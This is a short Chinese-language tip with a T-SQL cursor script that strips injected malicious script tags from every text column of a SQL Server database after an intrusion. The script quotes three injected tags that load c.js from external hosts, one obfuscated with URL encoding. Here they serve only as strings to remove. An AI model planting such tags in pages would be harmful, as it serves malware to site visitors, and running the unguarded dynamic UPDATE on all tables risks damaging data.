当数据库遭入侵时候会大量的代码夹杂在里面如何快速的清理呢,这里提供个简单的sql语句(仅供参考,据实际情况而定) declare @tabname varchar(50), @colname varchar(50),@collength int,@T1 varchar(200),@T2 varchar(200),@T3 varchar(200) set @T1='<mce:script src="http://3bomb.%63%6Fm/c.js" mce_src="http://3bomb.%63%6Fm/c.js"></mce:script>' set @T2='<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js"></mce:script>' set @T3='<mce:script src="http://3b3.org/c.js" mce_src="http://3b3.org/c.js"></mce:script>' declare roy cursor for select c.name,a.name,a.length from syscolumns a,systypes b,sysobjects c where a.xtype=b.xtype and b.name IN ('varchar','nvarchar','text') and a.id=c.id and c.xtype='u' and a.length>20 open roy fetch next from roy into @tabname,@colname,@collength while @@fetch_status=0 begin declare @sql varchar(1000) set @sql='UPDATE ' + @tabname + ' SET ' + @colname + ' =replace( replace(replace(' + @colname + ',''' + @T1 + ''',''''),''' + @T2 +''',''''),'''+ @T3 + ''','''')' --Print @sql --先print 出来看看,再运行 exec(@sql) fetch next from roy into @tabname,@colname,@collength end close roy deallocate roy